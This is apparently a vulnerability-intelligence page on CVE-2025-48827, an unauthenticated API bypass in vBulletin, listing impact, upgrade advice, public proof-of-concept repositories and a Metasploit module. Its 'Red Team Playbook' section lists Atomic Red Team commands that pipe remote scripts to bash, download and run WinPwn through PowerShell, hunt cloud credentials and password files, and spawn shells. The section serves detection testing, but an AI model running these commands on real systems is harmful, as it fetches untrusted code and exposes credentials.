CVE-2025-48827
Overview
This vulnerability is an authentication bypass affecting vBulletin's API controller methods. The root cause lies in improper access control validation for protected methods within the /api.php endpoint when executed on PHP 8.1 or later. Specifically, the system fails to enforce authentication checks on API calls invoking protectedMethod functions, allowing unauthorized access to restricted functionality.
Vulnerability Description
vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 allows unauthenticated users to invoke protected API controllers' methods when running on PHP 8.1 or later, as demonstrated by the /api.php?method=protectedMethod pattern, as exploited in the wild in May 2025.
Impact
An unauthenticated attacker can remotely invoke protected API methods, leading to full compromise of confidentiality, integrity, and availability of the affected vBulletin installation. No user interaction or authentication is required, and network access to the API endpoint suffices. This enables remote code execution and complete system takeover, as reflected by the CVSS vector indicating network attack vector, no privileges or user interaction needed, and high impact on all security properties.
Solution
Users should upgrade vBulletin to versions later than 5.7.5 and 6.0.3 where the vendor has addressed the authentication bypass in API controllers. Detailed patching instructions and version-specific advisories are available at karmainsecurity.com and kevintel.com. No official workaround is documented; therefore, immediate version upgrade is recommended to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in vBulletin versions 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 arises from improper access controls that allow unauthenticated users to invoke protected API methods. This issue is particularly critical when the software is running on PHP 8.1 or later, where the underlying changes in the PHP environment may exacerbate the exploitation potential. The flaw manifests through a specific API endpoint, where an attacker can manipulate requests to access sensitive functionalities that should be restricted to authenticated users only. This breach of access control can lead to unauthorized data manipulation, information disclosure, and potentially the complete compromise of the application.
Attack vectors for this vulnerability are straightforward, as they primarily involve crafting HTTP requests to the vulnerable API endpoint. An attacker can exploit the flaw by sending requests to the /api.php endpoint with the appropriate method parameter, such as "protectedMethod." This allows them to bypass authentication mechanisms entirely, enabling them to execute functions that could alter user data, retrieve sensitive information, or even execute administrative tasks without any form of validation. Given the nature of the API and its potential exposure on the internet, the risk of exploitation is significantly heightened, especially if the application is not properly secured or monitored.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on vBulletin for community engagement or content management. The potential for unauthorized access to user data, including personal information and private messages, poses a severe risk to user privacy and trust. Additionally, the exploitation of this vulnerability can lead to reputational damage, legal ramifications, and financial losses due to data breaches or service disruptions. Organizations may face regulatory scrutiny if sensitive data is compromised, leading to costly investigations and compliance penalties. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses a significant threat to the integrity and security of affected systems.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating to the latest version of vBulletin is essential, as newer releases often include security patches that address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests targeting the vulnerable API endpoints. Monitoring logs for unusual access patterns or unauthorized API calls can also aid in early detection of exploitation attempts. Furthermore, implementing strict access controls and authentication mechanisms, such as requiring API keys or tokens for sensitive operations, can significantly reduce the attack surface and enhance overall security.
In conclusion, the vulnerability in vBulletin presents a serious threat to organizations using this software, particularly when running on PHP 8.1 or later. The ease of exploitation and the potential for severe consequences necessitate immediate action from affected entities. By prioritizing timely updates, employing robust security measures, and maintaining vigilant monitoring practices, organizations can mitigate the risks associated with this vulnerability and protect their systems and users from potential harm.
CSURFACE threat intelligence has detected a notable surge in exploitation attempts targeting CVE-2025-48827, indicating increased adversary interest and activity. This uptick is accompanied by the emergence of additional publicly available proof-of-concept exploits, which have expanded the toolkit accessible to threat actors. Our telemetry shows that while the overall EPSS score remains stable, the increased detection frequency signals a growing operationalization of this vulnerability in the wild. This development elevates the threat level, as unauthenticated remote code execution against vBulletin instances running PHP 8.1 or later becomes more accessible and likely to be leveraged in targeted campaigns. Defenders should recognize that the vulnerability is no longer confined to theoretical or limited exploitation scenarios but is increasingly exploited in active threat landscapes, underscoring the urgency of heightened monitoring and response readiness.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vbulletin | Vbulletin | All |
cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
|
|
|
Vbulletin | Vbulletin | All |
cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
vBulletin replaceAdTemplate Remote Code Execution
exploits/multi/http/vbulletin_replace_ad_template_rce
|
Egidio Romano (EgiX), Valentin Lobstein | Unknown | - | View |
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
0xgh057r3c0n/CVE-2025-48827
Critical Unauthenticated API Access in vBulletin
|
0xgh057r3c0n | 11 | 0 | 2025-05-29 | View |
|
sh4den/CVE-2025-48827
This repository contains a proof-of-concept exploit for CVE-2025-48827, a critical authentication bypass vulnerability a...
|
sh4den | 1 | 0 | 2025-07-14 | View |
|
wiseep/CVE-2025-48827
Vbullettin RCE - CVE-2025-48827
|
wiseep | 0 | 1 | 2025-05-31 | View |
|
SystemVll/CVE-2025-48827
This repository contains a proof-of-concept exploit for CVE-2025-48827, a critical authentication bypass vulnerability a...
|
SystemVll | 1 | 0 | 2025-07-14 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium | |
| CAPEC-554 | Functionality Bypass |
30%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-48827 |
| karmainsecurity.com |
GitHub CVE
|
https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce |
| kevintel.com |
GitHub CVE
|
https://kevintel.com/CVE-2025-48827 |
| blog.kevintel.com |
NVD API
Broken Link
|
https://blog.kevintel.com/vbulletin-replaceadtemplate-kev/ |